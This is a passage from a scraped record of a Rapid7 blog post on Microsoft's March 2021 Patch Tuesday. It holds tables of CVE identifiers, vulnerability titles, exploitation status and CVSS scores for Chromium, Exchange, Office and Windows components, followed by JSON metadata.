\n[CVE-2021-21166](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21166>) | Chromium CVE-2021-21166: Object lifecycle issue in audio | No | No | N/A | Yes \n[CVE-2021-21165](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21165>) | Chromium CVE-2021-21165: Object lifecycle issue in audio | No | No | N/A | Yes \n[CVE-2021-21164](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21164>) | Chromium CVE-2021-21164: Insufficient data validation in Chrome for iOS | No | No | N/A | Yes \n[CVE-2021-21163](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21163>) | Chromium CVE-2021-21163: Insufficient data validation in Reader Mode | No | No | N/A | Yes \n[CVE-2021-21162](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21162>) | Chromium CVE-2021-21162: Use after free in WebRTC | No | No | N/A | Yes \n[CVE-2021-21161](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21161>) | Chromium CVE-2021-21161: Heap buffer overflow in TabStrip | No | No | N/A | Yes \n[CVE-2021-21160](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21160>) | Chromium CVE-2021-21160: Heap buffer overflow in WebAudio | No | No | N/A | Yes \n[CVE-2021-21159](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21159>) | Chromium CVE-2021-21159: Heap buffer overflow in TabStrip | No | No | N/A | Yes \n[CVE-2020-27844](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-27844>) | Chromium CVE-2020-27844: Heap buffer overflow in OpenJPEG | No | No | N/A | Yes \n \n## Browser ESU Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-26411](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26411>) | Internet Explorer Memory Corruption Vulnerability | Yes | Yes | 8.8 | Yes \n \n## Developer Tools Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-27060](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27060>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-27084](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27084>) | Visual Studio Code Java Extension Pack Remote Code Execution Vulnerability | No | No | N/A | No \n[CVE-2021-27081](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27081>) | Visual Studio Code ESLint Extension Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-27083](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27083>) | Remote Development Extension for Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-27082](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27082>) | Quantum Development Kit for Visual Studio Code Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-21300](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21300>) | Git for Visual Studio Remote Code Execution Vulnerability | No | No | 8.8 | No \n \n## Exchange Server Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-26412](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26412>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9.1 | No \n[CVE-2021-26855](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855>) | Microsoft Exchange Server Remote Code Execution Vulnerability | Yes | No | 9.1 | Yes \n[CVE-2021-27078](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27078>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9.1 | No \n[CVE-2021-26857](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26857>) | Microsoft Exchange Server Remote Code Execution Vulnerability | Yes | No | 7.8 | Yes \n[CVE-2021-27065](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065>) | Microsoft Exchange Server Remote Code Execution Vulnerability | Yes | No | 7.8 | Yes \n[CVE-2021-26858](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26858>) | Microsoft Exchange Server Remote Code Execution Vulnerability | Yes | No | 7.8 | Yes \n[CVE-2021-26854](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26854>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 6.6 | No \n \n## Microsoft Office Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-27055](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27055>) | Microsoft Visio Security Feature Bypass Vulnerability | No | No | 7 | Yes \n[CVE-2021-24104](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24104>) | Microsoft SharePoint Spoofing Vulnerability | No | No | 4.6 | Yes \n[CVE-2021-27076](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27076>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-27052](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27052>) | Microsoft SharePoint Server Information Disclosure Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-27056](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27056>) | Microsoft PowerPoint Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-24108](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24108>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27057](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27057>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27059](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27059>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 7.6 | Yes \n[CVE-2021-27058](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27058>) | Microsoft Office ClickToRun Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27053](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27053>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27054](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27054>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n## SQL Server Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-26859](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26859>) | Microsoft Power BI Information Disclosure Vulnerability | No | No | 7.7 | Yes \n \n## Windows Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-26900](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26900>) | Windows Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26863](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26863>) | Windows Win32k Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-26871](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26871>) | Windows WalletService Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26885](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26885>) | Windows WalletService Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26864](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26864>) | Windows Virtual Registry Provider Elevation of Privilege Vulnerability | No | No | 8.4 | No \n[CVE-2021-1729](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1729>) | Windows Update Stack Setup Elevation of Privilege Vulnerability | No | No | 7.1 | No \n[CVE-2021-26889](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26889>) | Windows Update Stack Elevation of Privilege Vulnerability | No | No | 7.1 | No \n[CVE-2021-26866](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26866>) | Windows Update Service Elevation of Privilege Vulnerability | No | No | 7.1 | No \n[CVE-2021-26870](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26870>) | Windows Projected File System Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26874](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26874>) | Windows Overlay Filter Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26879](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26879>) | Windows NAT Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-26884](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26884>) | Windows Media Photo Codec Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-26867](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26867>) | Windows Hyper-V Remote Code Execution Vulnerability | No | No | 9.9 | Yes \n[CVE-2021-26868](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26868>) | Windows Graphics Component Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26892](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26892>) | Windows Extensible Firmware Interface Security Feature Bypass Vulnerability | No | No | 6.2 | No \n[CVE-2021-24090](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24090>) | Windows Error Reporting Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26865](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26865>) | Windows Container Execution Agent Elevation of Privilege Vulnerability | No | No | 8.8 | No \n[CVE-2021-26891](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26891>) | Windows Container Execution Agent Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26860](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26860>) | Windows App-V Overlay Filter Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-27066](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27066>) | Windows Admin Center Security Feature Bypass Vulnerability | No | No | 4.3 | No \n[CVE-2021-27070](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27070>) | Windows 10 Update Assistant Elevation of Privilege Vulnerability | No | No | 7.3 | No \n[CVE-2021-26886](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26886>) | User Profile Service Denial of Service Vulnerability | No | No | 5.5 | No \n[CVE-2021-26880](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26880>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26876](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26876>) | OpenType Font Parsing Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-24089](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24089>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-26902](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26902>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27061](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27061>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-24110](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24110>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27047](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27047>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27048](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27048>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27049](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27049>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27050](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27050>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27051](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27051>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-27062](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27062>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-24095](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24095>) | DirectX Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-26890](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26890>) | Application Virtualization Remote Code Execution Vulnerability | No | No | 7.8 | No \n \n## Windows ESU Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Disclosed | CVSS3 | FAQ \n---|---|---|---|---|--- \n[CVE-2021-27077](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27077>) | Windows Win32k Elevation of Privilege Vulnerability | No | Yes | 7.8 | No \n[CVE-2021-26875](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26875>) | Windows Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26873](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26873>) | Windows User Profile Service Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-26899](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26899>) | Windows UPnP Device Host Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-1640](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1640>) | Windows Print Spooler Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-26878](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26878>) | Windows Print Spooler Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26862](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26862>) | Windows Installer Elevation of Privilege Vulnerability | No | No | 6.3 | No \n[CVE-2021-26861](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26861>) | Windows Graphics Component Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-24107](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24107>) | Windows Event Tracing Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-26872](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26872>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26898](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26898>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26901](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26901>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26897](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26897>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-26877](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26877>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-26893](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26893>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-26894](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26894>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-26895](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26895>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-26896](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26896>) | Windows DNS Server Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-27063](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27063>) | Windows DNS Server Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-26869](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26869>) | Windows ActiveX Installer Service Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-26882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26882>) | Remote Access API Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26881](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26881>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.5 | No \n[CVE-2021-26887](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26887>) | Microsoft Windows Folder Redirection Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n \n## Summary Graphs\n\n", "cvss3": {}, "published": "2021-03-09T22:13:03", "type": "rapid7blog", "title": "Patch Tuesday - March 2021", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-27844", "CVE-2021-1640", "CVE-2021-1729", "CVE-2021-21159", "CVE-2021-21160", "CVE-2021-21161", "CVE-2021-21162", "CVE-2021-21163", "CVE-2021-21164", "CVE-2021-21165", "CVE-2021-21166", "CVE-2021-21167", "CVE-2021-21168", "CVE-2021-21169", "CVE-2021-21170", "CVE-2021-21171", "CVE-2021-21172", "CVE-2021-21173", "CVE-2021-21174", "CVE-2021-21175", "CVE-2021-21176", "CVE-2021-21177", "CVE-2021-21178", "CVE-2021-21179", "CVE-2021-21180", "CVE-2021-21181", "CVE-2021-21182", "CVE-2021-21183", "CVE-2021-21184", "CVE-2021-21185", "CVE-2021-21186", "CVE-2021-21187", "CVE-2021-21188", "CVE-2021-21189", "CVE-2021-21190", "CVE-2021-21300", "CVE-2021-24089", "CVE-2021-24090", "CVE-2021-24095", "CVE-2021-24104", "CVE-2021-24107", "CVE-2021-24108", "CVE-2021-24110", "CVE-2021-26411", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26859", "CVE-2021-26860", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26863", "CVE-2021-26864", "CVE-2021-26865", "CVE-2021-26866", "CVE-2021-26867", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26870", "CVE-2021-26871", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26874", "CVE-2021-26875", "CVE-2021-26876", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26880", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26885", "CVE-2021-26886", "CVE-2021-26887", "CVE-2021-26889", "CVE-2021-26890", "CVE-2021-26891", "CVE-2021-26892", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26900", "CVE-2021-26901", "CVE-2021-26902", "CVE-2021-27047", "CVE-2021-27048", "CVE-2021-27049", "CVE-2021-27050", "CVE-2021-27051", "CVE-2021-27052", "CVE-2021-27053", "CVE-2021-27054", "CVE-2021-27055", "CVE-2021-27056", "CVE-2021-27057", "CVE-2021-27058", "CVE-2021-27059", "CVE-2021-27060", "CVE-2021-27061", "CVE-2021-27062", "CVE-2021-27063", "CVE-2021-27065", "CVE-2021-27066", "CVE-2021-27070", "CVE-2021-27074", "CVE-2021-27075", "CVE-2021-27076", "CVE-2021-27077", "CVE-2021-27078", "CVE-2021-27080", "CVE-2021-27081", "CVE-2021-27082", "CVE-2021-27083", "CVE-2021-27084", "CVE-2021-27085"], "modified": "2021-03-09T22:13:03", "id": "RAPID7BLOG:88A83067D8D3C5AEBAF1B793818EEE53", "href": "https://blog.rapid7.com/2021/03/09/patch-tuesday-march-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}